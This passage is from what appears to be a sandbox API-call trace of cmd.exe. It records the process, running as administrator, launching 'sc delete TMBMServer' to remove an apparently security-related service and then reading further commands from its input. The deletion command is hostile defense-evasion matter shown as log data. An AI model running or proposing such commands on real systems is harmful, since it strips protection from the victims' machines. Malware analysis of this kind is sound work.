fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.072] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.072] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.072] GetLastError () returned 0x2 [0066.072] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.072] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.072] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.072] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.072] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.072] GetProcessHeap () returned 0x1b0000 [0066.072] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.072] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.072] GetProcessHeap () returned 0x1b0000 [0066.072] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa2) returned 0x1c9180 [0066.072] GetProcessHeap () returned 0x1b0000 [0066.072] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa2 [0066.073] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TMBMServer") returned 1 [0066.073] GetProcessHeap () returned 0x1b0000 [0066.073] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.073] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.073] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.073] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.073] GetProcessHeap () returned 0x1b0000 [0066.073] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.073] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.073] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.073] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.073] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.073] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.073] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.073] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.073] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.074] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.075] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.075] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.075] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.075] GetProcessHeap () returned 0x1b0000 [0066.075] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.075] GetProcessHeap () returned 0x1b0000 [0066.075] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.075] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TMBMServer", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TMBMServer", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete TMBMServer", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0xad4, dwThreadId=0xb88)) returned 1 [0066.078] CloseHandle (hObject=0x54) returned 1 [0066.078] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.078] GetProcessHeap () returned 0x1b0000 [0066.078] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.078] GetEnvironmentStringsW () returned 0x1d1b10* [0066.078] GetProcessHeap () returned 0x1b0000 [0066.078] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0066.079] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.079] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.079] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd4000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.079] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0066.143] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0066.143] CloseHandle (hObject=0x50) returned 1 [0066.144] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.144] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.144] GetProcessHeap () returned 0x1b0000 [0066.144] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.144] GetEnvironmentStringsW () returned 0x1d1b10* [0066.144] GetProcessHeap () returned 0x1b0000 [0066.144] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0066.144] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.144] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.144] GetProcessHeap () returned 0x1b0000 [0066.144] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.144] GetEnvironmentStringsW () returned 0x1d1b10* [0066.144] GetProcessHeap () returned 0x1b0000 [0066.144] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0066.144] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.144] GetProcessHeap () returned 0x1b0000 [0066.144] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.144] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.144] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.145] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.145] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.145] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.145] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.145] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.145] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.146] GetConsoleOutputCP () returned 0x1b5 [0066.146] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.146] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.146] GetProcessHeap () returned 0x1b0000 [0066.146] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.146] GetProcessHeap () returned 0x1b0000 [0066.146] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.146] GetProcessHeap () returned 0x1b0000 [0066.146] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.146] GetProcessHeap () returned 0x1b0000 [0066.146] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0066.146] GetProcessHeap () returned 0x1b0000 [0066.146] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0066.146] GetProcessHeap () returned 0x1b0000 [0066.146] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.146] GetProcessHeap () returned 0x1b0000 [0066.146] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0066.146] GetProcessHeap () returned 0x1b0000 [0066.146] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.147] GetProcessHeap () returned 0x1b0000 [0066.147] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.147] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.147] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.147] GetFileType (hFile=0x120) returned 0x3 [0066.147] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.147] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.147] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.147] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.147] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.147] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.147] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.147] GetFileType (hFile=0x120) returned 0x3 [0066.147] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.147] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.148] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.148] GetFileType (hFile=0xb8) returned 0x3 [0066.148] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.148] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.148] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.148] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.148] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.148] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.148] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.148] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.148] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.148] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.148] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.148] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.148] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.148] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.149] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.149] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.149] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.149] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.149] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.149] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.149] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.149] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.149] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.149] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.149] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.149] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.149] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.150] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.150] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"MBMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.150] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="MBMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.150] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="SMServer\nRY$HL\"\nvice\n\n") returned 1 [0066.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.150] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="SServer\nRY$HL\"\nvice\n\n") returned 1 [0066.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.151] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="Qerver\nRY$HL\"\nvice\n\n") returned 1 [0066.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.151] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, 